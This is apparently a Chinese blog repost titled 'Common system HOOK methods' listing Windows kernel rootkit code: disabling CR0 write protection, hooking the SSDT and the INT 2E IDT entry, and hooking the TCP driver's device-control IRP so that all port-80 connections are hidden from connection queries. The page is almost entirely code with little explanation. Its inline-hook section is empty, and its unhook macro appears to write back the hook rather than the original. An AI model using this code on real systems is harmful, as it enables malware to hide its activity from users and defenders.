您的位置:首页 > 其它

常用的系统HOOK方法

2013-05-04 21:40 274 查看
1.HOOK SSDT表

// UN-protect memory

__asm

{

push eax

mov eax, CR0

and eax, 0FFFEFFFFh

mov CR0, eax

pop eax

}

// do something

// RE-protect memory

__asm

{

push eax

mov eax, CR0

or eax, NOT 0FFFEFFFFh

mov CR0, eax

pop eax

}

// Declarations

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} SSDT_Entry;

#pragma pack()

__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL g_pmdlSystemCall;

PVOID *MappedSystemCallTable;

// Code

// save old system call locations

// Map the memory into our domain to change the permissions on // the MDL

g_pmdlSystemCall = MmCreateMdl(NULL,

KeServiceDescriptorTable.ServiceTableBase,

KeServiceDescriptorTable.NumberOfServices*4);

if(!g_pmdlSystemCall)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Change the flags of the MDL

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |

MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

#define SYSTEMSERVICE(_func) \

KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \

_Orig = (PVOID) InterlockedExchange( (PLONG) \

&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \

InterlockedExchange((PLONG) \

&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

2.HOOK IDT表

typedef struct

{

WORD IDTLimit;

WORD LowIDTbase;

WORD HiIDTbase;

} IDTINFO;

#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))

<< 16))

#pragma pack(1)

typedef struct

{

WORD LowOffset;

WORD selector;

BYTE unused_lo;

unsigned char unused_hi:5; // stored TYPE ?

unsigned char DPL:2;

unsigned char P:1; // vector is present

WORD HiOffset;

} IDTENTRY;

#pragma pack()

DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler

#define NT_SYSTEM_SERVICE_INT 0x2e

int HookInterrupts()

{

IDTINFO idt_info;

IDTENTRY* idt_entries;

IDTENTRY* int2e_entry;

__asm{

sidt idt_info;

}

idt_entries =

(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

KiRealSystemServiceISR_Ptr = // Save the real address of the

// handler.

MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,

idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

/*******************************************************

* Note: we can patch ANY interrupt here;

* the sky is the limit

*******************************************************/

int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);

__asm{

cli; // Mask Interrupts

lea eax,MyKiSystemService; // Load EAX with the address of

// hook

mov ebx, int2e_entry; // Address of INT 2E handler in

// table

mov [ebx],ax; // Overwrite real handler with

// the low

// 16 bits of the hook address.

shr eax,16

mov [ebx+6],ax; // Overwrite real handler with

// the high

// 16 bits of the hook address.

sti; // Enable Interrupts again.

}

return 0;

}

__declspec(naked) MyKiSystemService()

{

__asm{

pushad

pushfd

push fs

mov bx,0x30

mov fs,bx

push ds

push es

// Insert detection or prevention code here.

Finish:

pop es

pop ds

pop fs

popfd

popad

jmp KiRealSystemServiceISR_Ptr; // Call the real function

}

}

3.HOOK Irp例程

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);

OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS InstallTCPDriverHook()

{

NTSTATUS ntStatus;

UNICODE_STRING deviceTCPUnicodeString;

WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";

pFile_tcp = NULL;

pDev_tcp = NULL;

pDrv_tcpip = NULL;

RtlInitUnicodeString (&deviceTCPUnicodeString,

deviceTCPNameBuffer);

ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,

FILE_READ_DATA, &pFile_tcp,

&pDev_tcp);

if(!NT_SUCCESS(ntStatus))

return ntStatus;

pDrv_tcpip = pDev_tcp->DriverObject;

OldIrpMjDeviceControl = pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL];

if (OldIrpMjDeviceControl)

InterlockedExchange ((PLONG)&pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL],

(LONG)HookedDeviceControl);

return STATUS_SUCCESS;

}

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

ULONG ioTransferType;

TDIObjectID *inputBuffer;

DWORD context;

// Get a pointer to the current location in the IRP. This is where

// the function codes and parameters are located.

irpStack = IoGetCurrentIrpStackLocation (Irp);

switch (irpStack->MajorFunction)

{

case IRP_MJ_DEVICE_CONTROL:

if ((irpStack->MinorFunction == 0) &&

(irpStack->Parameters.DeviceIoControl.IoControlCode

== IOCTL_TCP_QUERY_INFORMATION_EX))

{

ioTransferType =

irpStack->Parameters.DeviceIoControl.IoControlCode;

ioTransferType &= 3;

// Need to know the method to find input buffer

if (ioTransferType == METHOD_NEITHER)

{

inputBuffer = (TDIObjectID *)

irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP

if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)

{

if ((inputBuffer->toi_id == 0x101) ||

(inputBuffer->toi_id == 0x102) ||

(inputBuffer->toi_id == 0x110))

{

// Call our completion routine if IRP succeeds.

// To do this, change the Control flags in the IRP.

irpStack->Control = 0;

irpStack->Control |= SL_INVOKE_ON_SUCCESS;

// Save old completion routine if present

irpStack->Context =(PIO_COMPLETION_ROUTINE)

ExAllocatePool(NonPagedPool,

sizeof(REQINFO));

((PREQINFO)irpStack->Context)->

OldCompletion =

irpStack->CompletionRoutine;

((PREQINFO)irpStack->Context)->ReqType =

inputBuffer->toi_id;

// Setup our function to be called

// upon completion of the IRP

irpStack->CompletionRoutine =

(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;

}

}

}

}

break;

default:

break;

}

// Call the original function

return OldIrpMjDeviceControl(DeviceObject, Irp);

}

typedef struct _REQINFO {

PIO_COMPLETION_ROUTINE OldCompletion;

unsigned long ReqType;

} REQINFO, *PREQINFO;

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

IN PVOID Context)

{

PVOID OutputBuffer;

DWORD NumOutputBuffers;

PIO_COMPLETION_ROUTINE p_compRoutine;

DWORD i;

// Connection status values:

// 0 = Invisible

// 1 = CLOSED

// 2 = LISTENING

// 3 = SYN_SENT

// 4 = SYN_RECEIVED

// 5 = ESTABLISHED

// 6 = FIN_WAIT_1

// 7 = FIN_WAIT_2

// 8 = CLOSE_WAIT

// 9 = CLOSING

// ...

OutputBuffer = Irp->UserBuffer;

p_compRoutine = ((PREQINFO)Context)->OldCompletion;

if (((PREQINFO)Context)->ReqType == 0x101)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO101);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO101)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x102)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO102);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO102)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x110)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO110);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO110)OutputBuffer)[i].status = 0;

}

}

ExFreePool(Context);

if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

{

return (p_compRoutine)(DeviceObject, Irp, NULL);

}

else

{

return Irp->IoStatus.Status;

}

}

4 inline HOOK

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: